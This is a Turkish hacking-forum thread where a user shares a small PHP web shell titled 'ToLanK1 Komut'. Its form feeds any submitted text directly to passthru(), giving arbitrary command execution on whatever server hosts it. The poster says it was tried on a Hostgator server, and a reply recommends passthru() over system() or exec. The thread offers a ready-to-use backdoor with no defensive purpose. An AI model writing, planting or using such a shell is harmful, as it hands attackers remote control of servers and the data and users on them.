server'de cgi python çalişmiyorsa php fonksiyonlari açıksa işinizi görür. hostgator'da denedim sonuç ama 2016 :D *** Hidden text: You do not have sufficient rights to view the...

ToLanK1-Komut.png


server'de cgi python çalişmiyorsa php fonksiyonlari açıksa işinizi görür. hostgator'da denedim sonuç ama 2016 :D
View hidden content is available for registered users!

Kod:
<!DOCTYPE html>
<html lang="pt-br">
<head>
    <!-- meta character set -->
    <meta charset="UTF-8">
 
    <!-- Page Title -->
    <title>ToLanK1 Komut</title>
 
    <!--
    CSS
    ============================================ -->
    <style type="text/css">
        body {  background-color: #31323d; }
 
        #painel {
            text-align: center;
            margin: 0 auto;
        }
 
        h1 { color: #ede7ea; }
 
        #Execute {
            background-color: transparent;
            color: #ffffff;
        }
    </style>
</head>
<body>
 
<div id="painel">
        <h1>TolanK1     cMd ExeCute</h1>
        <form name="cmd" method="post" enctype="multipart/form-data">
            <p>
                <input name="cmd" value="" size="59" type="text"/>
                <input value="Execute" id="Execute" type="submit"/>
 
                        <br/>
</div>
 
                    <p></p>
<pre>
    <?php if (isset($_POST['cmd'])) {
        $cmd = $_POST['cmd'];
        passthru($cmd);
    }
    ?>
</pre>
 
        </form>
</body>
</html>
 
passthru(); fonksiyonu ile oluşturmuşsun , bu fonksiyon zaten komut çalıştırmada bir adım önde hala. system(); exec vs hepsi yalan oldu zaten
 
131,824Konular
3,271,689Mesajlar
316,301Kullanıcılar
ramaznklcSon Üye
Üst Alt